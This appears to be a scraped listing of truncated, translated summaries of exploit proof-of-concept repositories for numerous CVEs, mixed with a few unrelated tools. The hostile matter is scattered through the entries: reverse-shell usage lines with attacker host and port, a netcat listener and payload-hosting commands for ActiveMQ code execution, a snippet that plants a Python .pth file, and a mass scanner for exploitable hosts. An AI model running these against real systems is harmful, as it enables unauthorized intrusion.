Kerberos_CVE-2022-33679

KerberosCVE-2022-33679 المتطلبات impacket==0.10.0 arc4==0.3.0 حالة الاستخدام: CVE-2022-33079.py -h -ts -debug -dc-ip ip address target serverName...

CVE-2023-27997-POC

الاستخدام: python3 cve-2022-42475.py rhost rport lhost lport مثال: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 إخلاء المسؤولية: هذا المشروع صُنع لأغراض تعليمية واختبارات أخلاقية فقط. استخدام هذه الأداة لمهاجمة الأهداف دون موافقة متبادلة مسبقة غير قانوني. لا يتحمل المطورون أي...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Implémentation Python de l'exécution de code à distance non authentifiée Apache ActiveMQ Configuration et exploitation nc -lvnp 4444 - Démarrer le listener python3 -m http.server 8080 - Héberger poc.xml contenant votre charge utile python3 CVE-2023-46604-RCE.py -i -p -u...

thm_steelmountain_CVE-2014-6287

thmsteelmountainCVE-2014-6287 نسخة بايثون 3 من الاستغلال المكتوب لـ CVE-2014-6287. مفيدة لإكمال غرفة "Steel Mountain" على TryHackMe.com دون استخدام metasploit...

CVE-2024-3400

CVE-2024-3400 import os,base64,time systempth = "/usr/lib/python3.6/site-packages/system.pth" with opensystempth,'wb' as f: f.writeb'''import...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 تنفيذ سريع باستخدام بايثون لبناء حزم تدفق البيانات وإرسالها بشكل متزامن؛ يتضمن كلا من فئتي gadgets: org.springframework.context.support.FileSystemXmlApplicationContext و org.springframework.context.support.ClassPathXmlApplicationContext. يمكن لـ FileSystemXml تجاوز بعض أجهز...

mkdocs

MkDocs Documentation de projet avec Markdown MkDocs est un générateur de sites statiques rapide , simple et carrément magnifique , orienté vers la documentation de projet. Les fichiers sources de documentation sont écrits en Markdown et configurés avec un seul fichier de configuration YAML. Il es...

CVE-2022-46169

CVE-2022-46169 الإعداد git clone https://github.com/miko550/CVE-2022-46169.git cd CVE-2022-46169 الاستخدام usage: CVE-2022-46169.py -h -t TARGET -l LIST options: -h, --help show this help message and exit -t TARGET, --target TARGET The URL of the target, eg: http://127.0.0.1 -l LIST, --list LIST...

CVE-2022-27925

CVE-2022-27925 الإعداد git clone https://github.com/miko550/CVE-2022-27925.git cd CVE-2022-27925 الاستخدام usage: CVE-2022-2925.py -h -t TARGET -l LIST options: -h, --help show this help message and exit -t TARGET, --target TARGET The URL of the target, eg: http://127.0.0.1 -l LIST, --list LIST...

SSHintel

SSHintel — Honeypot SSH léger SSHintel est un honeypot SSH léger construit avec Python et Paramiko. Il simule un shell Linux factice pour journaliser les tentatives d'accès non autorisées, capturer les identifiants et analyser le comportement des attaquants dans un environnement contrôlé. 🔧...

ACEshark

ACEshark Qu'est-ce que c'est ? ACEshark est un utilitaire conçu pour l'extraction et l'analyse rapides des configurations de services Windows et des entrées de contrôle d'accès, éliminant le besoin d'outils comme accesschk.exe ou d'autres binaires non natifs. Pourquoi ? Identifier et analyser...

CVE-2023-43364-Exploit-CVE

CVE-2023-43364-Exploit-CVE هذا برنامج Python لاستغلال Searchor 2.4.0 - حيث تم تطبيق دالة eval بشكل غير آمن ويمكن استغلالها لتنفيذ الأوامر عن بُعد RCE. تعتمد هذه الآلة على تثبيت busybox، حيث كتبت هذا من أجل آلة Busqueda على HackTheBox. فقط استبدل الـ payload بقشرة عكسية reverse shell أخرى إذا كنت...

CVE-2017-7269-Echo-PoC

CVE-2017-7269 التحقق من صدى تنفيذ الكود عن بُعد تقرير فريقنا حول تحليل الثغرة CVE-2017-7269: https://ht-sec.org/cve-2017-7269-vulnerabilities/ الـ PoC الافتراضي يفتح calc.exe فقط، الآن تم تعديله ليستجيب للطلبات، وصيغة الأمر هي: CVE-2017-7269remoteecho.py ipaddress port التأثير كما يلي:...

CVE-2024-20767

سكربت إثبات المفهوم لـ CVE-2024-20767 نظرة عامة get-the-files.py هو سكربت بلغة Python يستغل ثغرة أمنية في خوادم Adobe ColdFusion CVE-2024-20767 لقراءة الملفات من الخادم. يعتمد السكربت على طريقة موضحة في https://jeva.cc/2973.html. إخلاء مسؤولية هذا السكربت مقدم لأغراض تعليمية فقط. اختبار الخوادم د...

erl_mouse

erlmouse الإصدار 1.1 حسنًا، لقد حسّنتُ عدة أشياء لزيادة فرص العثور على جهاز أو شبكة قابلة للاستغلال. معظمها ليست مواجهة للعام، أو تم تصحيحها، أو غامضة جدًا لدرجة يصعب معها العثور على هدف. ومع ذلك، نواصل. يمكنك الآن فحص كل عنوان IP في الصين عن طريق اختيار "Type Presets" ثم اختيار عدد الكتل التي تر...

CVE-2022-26134

CVE-2022-26134 التثبيت 下载py,本地cmd运行 الاستخدام poc python3 CVE-2022-26134.py -u http://www.xxx.com exp python3 CVE-2022-26134.py -u http://www.xxx.com -c id إخلاء المسؤولية 🧐 هذه الأداة مخصصة فقط لأنشطة بناء الأمان المؤسسي المصرح بها قانونيًا. إذا كنت بحاجة إلى اختبار قابلية استخدام هذه الأداة،...

CVE-2020-0688

CVE-2020-0688 استغلال PoC عملي CVE-2020-0688 - شل ربط عكسي Reverse Bind Shell تم الاختبار باستخدام Python2.7 للتثبيت: pip install -r requirements.txt للتشغيل: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-23744

الاستخدام: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - إثبات المفهوم الخيارات: -h, --help إظهار رسالة المساعدة هذه والخروج --lhost, -l LHOST عنوان IP للمهاجم --lport, -p LPORT منفذ المهاجم --rhost, -t RHOST عنوان الهدف URL...

CVE-2026-20230-Scanner

Scanner CVE-2026-20230 Un outil de scan et de validation basé sur Python pour identifier les déploiements potentiellement vulnérables de Cisco Unified Communications Manager Unified CM affectés par la CVE-2026-20230. Fonctionnalités Détecte les instances Cisco Unified CM Vérifie l'exposition de...

React2Shell_Exploit

استغلال React2Shell CVE-2025-55182 لقد قمت بإنشاء استغلال بسيط لـ react2shell CVE-2025-55182 بلغة بايثون الاستخدام 1. احفظ النص البرمجي: احفظ الكود أعلاه كـ exploit.py. 2. تحديث Hosts: تأكد من أن reactor.htb يحل إلى عنوان IP الهدف في ملف /etc/hosts الخاص بك. echo " reactor.htb" | sudo tee -a...